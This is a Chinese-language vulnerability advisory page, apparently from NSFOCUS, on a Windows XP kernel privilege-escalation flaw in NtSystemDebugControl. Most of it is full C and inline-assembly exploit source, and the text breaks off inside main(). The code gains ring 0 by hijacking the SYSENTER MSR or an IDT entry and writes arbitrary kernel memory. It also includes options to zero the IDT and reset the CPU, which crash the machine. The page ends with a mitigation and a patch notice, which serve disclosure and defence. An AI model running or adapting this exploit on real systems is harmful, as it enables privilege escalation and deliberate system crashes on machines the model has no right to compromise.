安全研究
安全漏洞
Microsoft Windows NtSystemDebugControl()内核API函数权限提升漏洞
发布日期:2004-02-18
更新日期:2004-02-25
受影响系统:
Microsoft Windows XP Professional SP1描述:
Microsoft Windows XP Professional
Microsoft Windows XP Media Center Edition
Microsoft Windows XP Home SP1
Microsoft Windows XP Home
BUGTRAQ ID: 9694
Microsoft Windows是一款微软开发的视窗操作系统。
Microsoft Windows操作系统内核API函数存在安全问题,本地攻击者可以利用这个漏洞提升权限。
ZwSystemDebugControl()从ntdll.dll导出,调用Windows操作系统函数NtSystemDebugControl(),这个函数在ring 0模式下执行,拥有SeDebugPrivilege权限的调试者可以利用这个函数获得权限提升。
问题存在与Microsoft Windows XP,不过据称Microsoft Windows 2003也存在此漏洞。
<*来源:first last (randnut@hotmail.com)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=107714522627361&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
/*
* Discovered and coded Jan 25, 2004
* Copyright (C)2004 randnut@hotmail.com
*/
#include <windows.h>
#include <stdio.h>
typedef int NTSTATUS;
#define NTAPI __stdcall
const IA32_SYSENTER_CS = 0x174;
const IA32_SYSENTER_ESP = 0x175;
const IA32_SYSENTER_EIP = 0x176;
const SelCodeKernel = 0x8;
const CmosIndx = 0x0E; // CMOS Diagnostic Status
const RdWrIoPort = 0x80;
#define FCHK(a) if (!(a)) {printf(#a " failed\n"); return 0;}
#define FCHK2(a,b) if (!(a)) {printf(#a " failed\n"); goto b;}
typedef enum _DEBUG_CONTROL_CODE {
DebugSysReadIoSpace = 14,
DebugSysWriteIoSpace = 15,
DebugSysReadMsr = 16,
DebugSysWriteMsr = 17,
DebugSysReadBusData = 18,
DebugSysWriteBusData = 19,
} DEBUG_CONTROL_CODE;
typedef struct _MSR_STRUCT {
DWORD MsrNum; // MSR number
DWORD NotUsed; // Never accessed by the kernel
DWORD MsrLo; // IN (write) or OUT (read): Low 32 bits of MSR
DWORD MsrHi; // IN (write) or OUT (read): High 32 bits of MSR
} MSR_STRUCT;
typedef struct _IO_STRUCT {
DWORD IoAddr; // IN: Aligned to NumBytes,I/O address
DWORD Reserved1; // Never accessed by the kernel
PVOID pBuffer; // IN (write) or OUT (read): Ptr to buffer
DWORD NumBytes; // IN: # bytes to read/write. Only use 1, 2, or 4.
DWORD Reserved4; // Must be 1
DWORD Reserved5; // Must be 0
DWORD Reserved6; // Must be 1
DWORD Reserved7; // Never accessed by the kernel
} IO_STRUCT;
// Copied from the Windows DDK
typedef enum _BUS_DATA_TYPE {
ConfigurationSpaceUndefined = -1,
Cmos,
EisaConfiguration,
Pos,
CbusConfiguration,
PCIConfiguration,
VMEConfiguration,
NuBusConfiguration,
PCMCIAConfiguration,
MPIConfiguration,
MPSAConfiguration,
PNPISAConfiguration,
SgiInternalConfiguration,
MaximumBusDataType
} BUS_DATA_TYPE, *PBUS_DATA_TYPE;
// See HalGetBusDataByOffset()/HalSetBusDataByOffset() for explanations of
each field
typedef struct _BUS_STRUCT {
ULONG Offset;
PVOID Buffer;
ULONG Length;
BUS_DATA_TYPE BusDataType;
ULONG BusNumber;
ULONG SlotNumber;
} BUS_STRUCT;
typedef
NTSTATUS
(NTAPI *PZwSystemDebugControl)(
DEBUG_CONTROL_CODE ControlCode,
PVOID InputBuffer,
ULONG InputBufferLength,
PVOID OutputBuffer,
ULONG OutputBufferLength,
PULONG ReturnLength
);
PZwSystemDebugControl ZwSystemDebugControl = NULL;
enum Ring0Method {
Method1,
Method2,
};
struct OldCpuState
{
Ring0Method meth;
MSR_STRUCT msr[3];
DWORD AffinityMask;
DWORD EFLAGS, CS, SS, OldIdtDesc[2];
};
void help()
{
printf("Usage: name_of_program [option [option [...]]]\n");
printf("/test1 - test for SYSENTER vuln\n");
printf("/test2 - test for I/O write to mem
vuln\n");
printf("/test3 - test for bus write to mem
vuln\n");
printf("/reset - reset CPU in ring 0\n");
printf("/zeroidt - zero IDT (reboots PC)\n");
printf("/wrmem <addr> <byte> - write byte to mem\n");
printf("/rdmsr <num> - read MSR\n");
printf("/wrmsr <num> <hi> <lo> - write MSR\n");
printf("/rdio <port> <size> - read I/O port\n");
printf("/wrio <port> <size> <value> - write I/O port\n");
printf("/dump <addr> <size> - dump memory from ring 0\n");
exit(0);
}
int rdmsr(int MsrNum, MSR_STRUCT& msr)
{
msr.MsrNum = MsrNum;
return ZwSystemDebugControl(DebugSysReadMsr, &msr, sizeof(msr), NULL, 0,
NULL) >= 0;
}
int wrmsr(int MsrNum, MSR_STRUCT& msr)
{
msr.MsrNum = MsrNum;
return ZwSystemDebugControl(DebugSysWriteMsr, &msr, sizeof(msr), NULL, 0,
NULL) >= 0;
}
void PrintMsr(MSR_STRUCT& msr)
{
printf("MSR %08X = %08X_%08X\n", msr.MsrNum, msr.MsrHi, msr.MsrLo);
}
int HasSysEnter()
{
int retval = 0;
__try
{
__asm
{
mov eax,1
cpuid
shr edx,12
adc retval,0
}
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
}
return retval;
}
int SetProcessor(DWORD NewAffinityMask, DWORD* pOldAffinityMask)
{
DWORD tmp;
FCHK(!pOldAffinityMask || GetProcessAffinityMask(GetCurrentProcess(),
pOldAffinityMask, &tmp));
FCHK(SetProcessAffinityMask(GetCurrentProcess(), NewAffinityMask));
return 1;
}
/*
* Returns < 0 on error. If ppAddr != NULL, returns 0x100 on success.
* If ppAddr == NULL, returns byte read on success.
*/
int CmosRead(int offs, BYTE** ppAddr = NULL)
{
BYTE buf;
BUS_STRUCT bus;
bus.BusDataType = Cmos;
bus.BusNumber = 0;
bus.SlotNumber = offs;
bus.Buffer = ppAddr ? *ppAddr : &buf;
bus.Offset = 0;
bus.Length = 1;
if (ZwSystemDebugControl(DebugSysReadBusData, &bus, sizeof(bus), NULL, 0,
NULL) < 0)
return -1;
else
return ppAddr ? 0x100 : buf;
}
/*
* Returns 0 on failure, 1 on success
*/
int CmosWrite(int offs, BYTE val, BYTE** ppAddr = NULL)
{
BUS_STRUCT bus;
bus.BusDataType = Cmos;
bus.BusNumber = 0;
bus.SlotNumber = offs;
bus.Buffer = ppAddr == NULL ? &val : *ppAddr;
bus.Offset = 0;
bus.Length = 1;
return ZwSystemDebugControl(DebugSysWriteBusData, &bus, sizeof(bus), NULL,
0, NULL) >= 0;
}
/*
* Write a byte to any location by exploiting another bug in the kernel. This
function
* uses DebugSysWriteIoSpace and DebugSysReadIoSpace to write the byte to any
address.
* This code must execute in ring 3.
*/
int Method1_WriteMemByte(DWORD MemAddr, BYTE Value)
{
IO_STRUCT io;
memset(&io, 0, sizeof(io));
io.IoAddr = RdWrIoPort;
io.pBuffer = &Value;
io.NumBytes = 1;
io.Reserved4 = 1;
io.Reserved6 = 1;
if (ZwSystemDebugControl(DebugSysWriteIoSpace, &io, sizeof(io), NULL, 0,
NULL) < 0)
return 0;
memset(&io, 0, sizeof(io));
io.IoAddr = RdWrIoPort;
io.pBuffer = (PVOID)(ULONG_PTR)MemAddr;
io.NumBytes = 1;
io.Reserved4 = 1;
io.Reserved6 = 1;
if (ZwSystemDebugControl(DebugSysReadIoSpace, &io, sizeof(io), NULL, 0,
NULL) < 0)
return 0;
return 1;
}
/*
* Read a byte from any location by exploiting another bug in the kernel.
This function
* uses DebugSysWriteIoSpace and DebugSysReadIoSpace to read the byte from
any address.
* This code must execute in ring 3.
*/
int Method1_ReadMemByte(DWORD MemAddr)
{
BYTE Value;
IO_STRUCT io;
memset(&io, 0, sizeof(io));
io.IoAddr = RdWrIoPort;
io.pBuffer = (PVOID)(ULONG_PTR)MemAddr;
io.NumBytes = 1;
io.Reserved4 = 1;
io.Reserved6 = 1;
if (ZwSystemDebugControl(DebugSysWriteIoSpace, &io, sizeof(io), NULL, 0,
NULL) < 0)
return -1;
memset(&io, 0, sizeof(io));
io.IoAddr = RdWrIoPort;
io.pBuffer = &Value;
io.NumBytes = 1;
io.Reserved4 = 1;
io.Reserved6 = 1;
if (ZwSystemDebugControl(DebugSysReadIoSpace, &io, sizeof(io), NULL, 0,
NULL) < 0)
return -1;
return Value;
}
int CmosTest()
{
int OldVal = CmosRead(CmosIndx);
if (OldVal < 0)
return 0;
static int HasTested = 0;
if (HasTested == 0)
{
HasTested = -1;
if (!CmosWrite(CmosIndx, 0x55) || CmosRead(CmosIndx) != 0x55 ||
!CmosWrite(CmosIndx, 0xAA) || CmosRead(CmosIndx) != 0xAA ||
!CmosWrite(CmosIndx, (BYTE)OldVal))
{
printf("There's something wrong with your CMOS\n");
return 0;
}
HasTested = 1;
}
else if (HasTested == -1)
return 0;
return 1;
}
/*
* Write a byte to any location by exploiting another bug in the kernel. This
function
* uses DebugSysReadBusData and DebugSysWriteBusData to write the byte to any
address.
* This code must execute in ring 3.
*/
int Method2_WriteMemByte(DWORD MemAddr, BYTE Value)
{
if (!CmosTest())
return 0;
int OldVal = CmosRead(CmosIndx);
if (OldVal < 0)
return 0;
BYTE* p = (BYTE*)(ULONG_PTR)MemAddr;
if (!CmosWrite(CmosIndx, Value) || CmosRead(CmosIndx, &p) < 0 ||
!CmosWrite(CmosIndx, OldVal))
return 0;
return 1;
}
/*
* Read a byte from any location by exploiting another bug in the kernel.
This function
* uses DebugSysReadBusData and DebugSysWriteBusData to read the byte from
any address.
* This code must execute in ring 3.
*/
int Method2_ReadMemByte(DWORD MemAddr)
{
int OldVal, RetVal;
if (!CmosTest())
return -1;
BYTE* p = (BYTE*)(ULONG_PTR)MemAddr;
if ((OldVal = CmosRead(CmosIndx)) < 0 || !CmosWrite(CmosIndx, 0, &p) ||
(RetVal = CmosRead(CmosIndx)) < 0 || !CmosWrite(CmosIndx, (BYTE)OldVal))
return -1;
return RetVal;
}
static int MemAccessMethType = -1;
int SetMemAccessMeth(int NewMeth)
{
int old = MemAccessMethType;
if (NewMeth == -1 || NewMeth == 1 || NewMeth == 2)
MemAccessMethType = NewMeth;
return old;
}
int WriteMemByte(DWORD MemAddr, BYTE Value)
{
switch (MemAccessMethType)
{
case 1:
return Method1_WriteMemByte(MemAddr, Value);
case 2:
return Method2_WriteMemByte(MemAddr, Value);
case -1:
default:
return Method1_WriteMemByte(MemAddr, Value) ||
Method2_WriteMemByte(MemAddr, Value);
}
}
int ReadMemByte(DWORD MemAddr)
{
switch (MemAccessMethType)
{
case 1:
return Method1_ReadMemByte(MemAddr);
case 2:
return Method2_ReadMemByte(MemAddr);
case -1:
default:
int RetVal;
if ((RetVal = Method1_ReadMemByte(MemAddr)) >= 0 ||
(RetVal = Method2_ReadMemByte(MemAddr)) >= 0)
(void)0 /* Nothing */;
return RetVal;
}
}
/*
* Tries to enter ring 0 by overwriting IA32_SYSENTER_EIP and executing
SYSENTER.
* Returns 1 on success. If it returns 1, EFLAGS.IF=0.
*/
int Method1_EnterRing0(OldCpuState& old)
{
old.meth = Method1;
if (!HasSysEnter())
return 0;
FCHK(SetProcessor(1, &old.AffinityMask));
FCHK2(rdmsr(IA32_SYSENTER_CS, old.msr[0]), cleanup);
FCHK2(rdmsr(IA32_SYSENTER_ESP, old.msr[1]), cleanup);
FCHK2(rdmsr(IA32_SYSENTER_EIP, old.msr[2]), cleanup);
DWORD Ring0Addr;
__asm
{
mov Ring0Addr,offset ring0_addr
}
Sleep(100); // A more reliable way is to block all interrupts through the
PIC.
MSR_STRUCT msr;
if (old.msr[0].MsrLo == 0) // SYSENTER not enabled
{
// IMPORTANT:
// I assume the OS sets up the GDT as follows:
// base:ring0 code
// ring0 data
// ring3 code
// ring3 data
// Will crash eventually if it's not setup that way
msr.MsrLo = SelCodeKernel;
msr.MsrHi = 0;
FCHK2(wrmsr(IA32_SYSENTER_CS, msr), cleanup);
}
msr.MsrHi = 0;
msr.MsrLo = Ring0Addr;
FCHK2(wrmsr(IA32_SYSENTER_EIP, msr), cleanup2); // Let's hope we won't get
interrupted after this call
__asm
{
mov ecx,esp
// Hmm, can't assemble SYSENTER or DB 0F,34
jmp short $+3
mov eax,9090340Fh
ring0_addr:
mov esp,ecx
// Hot dog! :)
}
return 1;
cleanup2:
if (old.msr[0].MsrLo == 0)
wrmsr(IA32_SYSENTER_CS, old.msr[0]);
cleanup:
FCHK(SetProcessor(old.AffinityMask, NULL));
return 0;
}
/*
* Enters ring 3
*/
void Method1_LeaveRing0(OldCpuState& old)
{
MSR_STRUCT* pmsr = &old.msr[0];
__asm
{
mov ebx,pmsr
mov ecx,[ebx] // IA32_SYSENTER_CS
mov eax,[ebx+8]
mov edx,[ebx+0Ch]
test eax,eax
jz skip1
wrmsr
skip1:
mov ecx,[ebx+10h] // IA32_SYSENTER_ESP
mov eax,[ebx+10h+8]
mov edx,[ebx+10h+0Ch]
wrmsr
mov ecx,[ebx+20h] // IA32_SYSENTER_EIP
mov eax,[ebx+20h+8]
mov edx,[ebx+20h+0Ch]
wrmsr
mov ecx,esp
mov edx,offset ring3_code
// Hmm, can't assemble SYSEXIT or DB 0F,35
jmp short $+3
mov eax,90350FFBh
ring3_code:
}
if (old.msr[0].MsrLo == 0) // SYSENTER was not enabled
wrmsr(old.msr[0].MsrNum, old.msr[0]);
SetProcessor(old.AffinityMask, NULL);
}
/*
* Tries to enter ring 0 by telling the kernel to write to the IDT with bytes
we control.
* Returns 1 on success. If it returns 1, EFLAGS.IF=0.
*/
int Method2_EnterRing0(OldCpuState& old)
{
old.meth = Method2;
FCHK(SetProcessor(1, &old.AffinityMask));
DWORD Ring0Addr, EFLAGS, _CS, _SS;
DWORD idt[2], idt_base, idt_limit;
__asm
{
mov Ring0Addr,offset ring0_addr
sidt idt+2
movzx eax,word ptr idt+2
mov idt_limit,eax
mov eax,idt+4
mov idt_base,eax
pushfd
pop eax
mov EFLAGS,eax
mov word ptr _CS,cs
mov word ptr _SS,ss
}
old.EFLAGS = EFLAGS;
old.CS = _CS;
old.SS = _SS;
#define IntNum 0xFF
if (IntNum*8 + 7 > idt_limit)
{
printf("ERROR: The interrupt number is outside the IDT. Change it and
recompile.\n");
goto cleanup;
}
BYTE* pOldIdtDesc = (BYTE*)&old.OldIdtDesc;
for (int i = 0; i < 8; i++)
{
int SomeByte;
FCHK2((SomeByte = ReadMemByte(idt_base + IntNum*8 + i)) >= 0, cleanup);
*pOldIdtDesc++ = (BYTE)SomeByte;
}
DWORD IdtDesc[2];
IdtDesc[0] = (SelCodeKernel << 16) | (Ring0Addr & 0xFFFF);
IdtDesc[1] = (Ring0Addr & 0xFFFF0000) | 0xEE00; // 32-bit interrupt gate,
DPL3
for (int i = 0; i < 8; i++)
FCHK2(WriteMemByte(idt_base + IntNum*8 + i, *((BYTE*)&IdtDesc + i)),
cleanup);
__asm
{
xchg esp,eax
int IntNum
ring0_addr:
xchg esp,eax
// What do you know, it worked!
}
return 1;
cleanup:
FCHK(SetProcessor(old.AffinityMask, NULL));
return 0;
}
/*
* Enters ring 3
*/
void Method2_LeaveRing0(OldCpuState& old)
{
DWORD idt[2];
DWORD EFLAGS = old.EFLAGS;
DWORD _CS = old.CS;
DWORD _SS = old.SS;
DWORD* pOldIdtDesc = &old.OldIdtDesc[0];
__asm
{
sidt idt+2
mov eax,idt+4
mov ecx,pOldIdtDesc
mov edx,[ecx]
mov ecx,[ecx+4]
mov [eax+IntNum*8],edx
mov [eax+IntNum*8+4],ecx
mov eax,esp
push _SS
push eax
mov eax,EFLAGS
and eax,not (1 shl 0Eh)
push eax
push _CS
push offset ring3_addr
iretd
ring3_addr:
}
SetProcessor(old.AffinityMask, NULL);
}
int EnterRing0(OldCpuState& old)
{
/*
* Method2 is safer than Method1
*/
return Method2_EnterRing0(old) || Method1_EnterRing0(old);
}
void LeaveRing0(OldCpuState& old)
{
switch (old.meth)
{
case Method1: Method1_LeaveRing0(old); break;
case Method2: Method2_LeaveRing0(old); break;
default: __asm jmp short $
}
}
int EnablePrivilege(HANDLE hToken, LPCSTR lpszName, int enable)
{
TOKEN_PRIVILEGES tok;
tok.PrivilegeCount = 1;
tok.Privileges[0].Attributes = enable ? SE_PRIVILEGE_ENABLED : 0;
FCHK(LookupPrivilegeValue(NULL, lpszName, &tok.Privileges[0].Luid));
FCHK(AdjustTokenPrivileges(hToken, FALSE, &tok, sizeof(tok), NULL, NULL));
return 1;
}
void PrintDelay(int secs)
{
while (secs--)
{
printf("%d..", secs+1);
Sleep(1000);
}
printf("NOW\n");
}
void PrintVulnMsg(int failed)
{
if (!failed)
printf("Your operating system is vulnerable to this exploit.\n");
else
{
printf("If this user account has the SeDebugPrivilege privilege then
your\n");
printf("OS doesn't appear to be vulnerable.\n\n");
}
}
DWORD ReadMem(DWORD MemAddr, void* buf, DWORD bufsz)
{
if (!bufsz || !buf)
return 0;
#if 0
/*
* Will crash XP if we read from non-present memory so don't use this code
*/
BYTE* p = (BYTE*)buf;
for (DWORD i = 0; i < bufsz; i++)
{
int SomeByte;
if ((SomeByte = ReadMemByte(MemAddr++)) < 0)
break;
p[i] = (BYTE)SomeByte;
}
return i;
#else
OldCpuState old;
if (!EnterRing0(old))
return 0;
DWORD ret_val;
__asm
{
sub esp,8
sidt [esp+2]
mov ebx,[esp+4]
add esp,8
push dword ptr [ebx+0Eh*8]
push dword ptr [ebx+0Eh*8+4]
mov eax,offset xcpt_handler
mov [ebx+0Eh*8],eax
mov [ebx+0Eh*8+4],eax
mov word ptr [ebx+0Eh*8+4],8E00h
mov word ptr [ebx+0Eh*8+2],cs
mov ecx,bufsz
mov esi,MemAddr
mov edi,buf
rep movsb
jmp skip_xcpt
xcpt_handler:
add esp,8
popfd
pop eax
skip_xcpt:
pop dword ptr [ebx+0Eh*8+4]
pop dword ptr [ebx+0Eh*8]
mov eax,bufsz
sub eax,ecx
mov ret_val,eax
}
LeaveRing0(old);
return ret_val;
#endif
}
int DumpMem(DWORD MemAddr, DWORD size)
{
if (size == 0)
return 1;
if (MemAddr + size - 1 < MemAddr)
return 0;
DWORD OldMask;
FCHK(SetProcessor(1, &OldMask));
int ret = 1;
const BytesPerLine = 16;
while (size)
{
BYTE buf[BytesPerLine];
DWORD addr = MemAddr - MemAddr % BytesPerLine;
DWORD SizeRead = ReadMem(addr, buf, BytesPerLine);
printf("%08X:", addr);
for (int i = 0; i < BytesPerLine; i++)
{
if ((i & 3) == 0 && i != 0)
printf("-");
else
printf(" ");
if (addr < MemAddr || addr > MemAddr+size-1)
printf(" ");
else if ((DWORD)i >= SizeRead)
printf("??");
else
printf("%02X", buf[i]);
addr++;
}
printf(" ");
addr = MemAddr - MemAddr % BytesPerLine;
for (int i = 0; i < BytesPerLine; i++)
{
if (addr < MemAddr || addr > MemAddr+size-1)
printf(" ");
else if ((DWORD)i >= SizeRead)
printf("?");
else if (buf[i] >= 0x20 && buf[i] <= 0x7E)
printf("%c", buf[i]);
else
printf(".");
addr++;
}
printf("\n");
size -= min(size, addr - MemAddr);
MemAddr = addr;
}
SetProcessor(OldMask, NULL);
return ret;
}
int main(int argc, char* argv[])
{
HMODULE hNtdll;
FCHK((hNtdll = LoadLibrary("ntdll.dll")) != NULL);
FCHK((ZwSystemDebugControl = (PZwSystemDebugControl)GetProcAddress(hNtdll,
"ZwSystemDebugControl")) != NULL);
HANDLE hToken;
FCHK(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES |
TOKEN_QUERY, &hToken));
FCHK(EnablePrivilege(hToken, SE_DEBUG_NAME, 1));
for (int i = 1; i < argc; i++)
{
char* s = argv[i];
if (*s != '/' && *s != '-')
help();
s++;
if (!strcmp(s, "rdmsr") && i+1 < argc)
{
MSR_STRUCT msr;
int num = strtoul(argv[++i], NULL, 0);
if (rdmsr(num, msr))
PrintMsr(msr);
else
printf("rdmsr(%08X) failed\n", num);
}
else if (!strcmp(s, "wrmsr") && i+3 < argc)
{
MSR_STRUCT msr;
int num = strtoul(argv[++i], NULL, 0);
msr.MsrHi = strtoul(argv[++i], NULL, 0);
msr.MsrLo = strtoul(argv[++i], NULL, 0);
if (!wrmsr(num, msr))
{
printf("wrmsr(%08X) failed\n", num);
continue;
}
if (rdmsr(num, msr))
PrintMsr(msr);
else
printf("rdmsr(%08X) failed\n", num);
}
else if (!strcmp(s, "rdio") && i+2 < argc)
{
IO_STRUCT io;
memset(&io, 0, sizeof(io));
DWORD Buffer;
io.IoAddr = strtoul(argv[++i], NULL, 0);
io.pBuffer = &Buffer;
io.NumBytes = strtoul(argv[++i], NULL, 0);
io.Reserved4 = 1;
io.Reserved6 = 1;
if (io.NumBytes != 1 && io.NumBytes != 2 && io.NumBytes != 4)
{
printf("Size must be 1, 2, or 4 bytes\n");
continue;
}
if (ZwSystemDebugControl(DebugSysReadIoSpace, &io, sizeof(io), NULL, 0,
NULL) < 0)
{
printf("Could not read I/O space\n");
continue;
}
switch (io.NumBytes)
{
case 1: printf("0x%02X\n", (BYTE)Buffer); break;
case 2: printf("0x%04X\n", (WORD)Buffer); break;
case 4: printf("0x%08X\n", Buffer); break;
default: printf("WTF\n"); break;
}
}
else if (!strcmp(s, "wrio") && i+3 < argc)
{
IO_STRUCT io;
memset(&io, 0, sizeof(io));
DWORD Buffer;
io.IoAddr = strtoul(argv[++i], NULL, 0);
io.pBuffer = &Buffer;
io.NumBytes = strtoul(argv[++i], NULL, 0);
io.Reserved4 = 1;
io.Reserved6 = 1;
Buffer = strtoul(argv[++i], NULL, 0);
if (io.NumBytes != 1 && io.NumBytes != 2 && io.NumBytes != 4)
{
printf("Size must be 1, 2, or 4 bytes\n");
continue;
}
if (ZwSystemDebugControl(DebugSysWriteIoSpace, &io, sizeof(io), NULL, 0,
NULL) < 0)
{
printf("Could not write to I/O space\n");
continue;
}
}
else if (!strcmp(s, "reset"))
{
OldCpuState old;
printf("Will reset computer in...");
PrintDelay(3);
if (!EnterRing0(old))
{
printf("Could not enter ring 0\n");
continue;
}
__asm
{
push 0
lidt [esp]
pop esp
inc esp
push esp
}
LeaveRing0(old);
printf("WTF\n");
}
else if (!strcmp(s, "wrmem") && i+2 < argc)
{
DWORD MemAddr = strtoul(argv[++i], NULL, 0);
BYTE Value = (BYTE)strtoul(argv[++i], NULL, 0);
if (!WriteMemByte(MemAddr, Value))
{
printf("Could not write the byte\n");
continue;
}
}
else if (!strcmp(s, "zeroidt"))
{
DWORD OldMask;
if (!SetProcessor(1, &OldMask))
{
printf("SetProcessor() failed\n");
continue;
}
DWORD idt[2];
int idt_size, idt_base;
__asm
{
sidt idt+2
movzx eax,word ptr idt+2
mov idt_size,eax
mov eax,idt+4
mov idt_base,eax
}
printf("Will start writing to IDT @ %08X in...", idt_base);
PrintDelay(3);
for (int j = 0; j <= idt_size; j++)
{
if (!WriteMemByte(idt_base + j, 0x00))
{
printf("Could not write the byte to address %08X\n", idt_base + j);
break;
}
}
if (j != 0)
printf("WTF\n");
SetProcessor(OldMask, NULL);
}
else if (!strcmp(s, "test1"))
{
if (!HasSysEnter())
{
printf("Sorry. SYSENTER/SYSEXIT instructions aren't supported by your
processor.\n");
continue;
}
int failed = 1;
OldCpuState old;
printf("Testing SYSENTER vulnerability in...");
PrintDelay(3);
if (Method1_EnterRing0(old))
{
failed = 0;
Method1_LeaveRing0(old);
}
PrintVulnMsg(failed);
}
else if (!strcmp(s, "test2"))
{
int failed = 1;
OldCpuState old;
printf("Testing I/O write to memory vulnerability in...");
PrintDelay(3);
int OldWrite = SetMemAccessMeth(1);
if (Method2_EnterRing0(old))
{
failed = 0;
Method2_LeaveRing0(old);
}
SetMemAccessMeth(OldWrite);
PrintVulnMsg(failed);
}
else if (!strcmp(s, "test3"))
{
int failed = 1;
OldCpuState old;
printf("Testing bus write to memory vulnerability in...");
PrintDelay(3);
int OldWrite = SetMemAccessMeth(2);
if (Method2_EnterRing0(old))
{
failed = 0;
Method2_LeaveRing0(old);
}
SetMemAccessMeth(OldWrite);
PrintVulnMsg(failed);
}
else if (!strcmp(s, "dump") && i+2 < argc)
{
DWORD MemAddr = strtoul(argv[++i], NULL, 0);
DWORD size = strtoul(argv[++i], NULL, 0);
if (!DumpMem(MemAddr, size))
 
建议:
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* 本地策略中在所有用户/组中去掉调试权限。
厂商补丁:
Microsoft
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.microsoft.com/technet/security/
浏览次数:5530
严重程度:0(网友投票)
绿盟科技给您安全的保障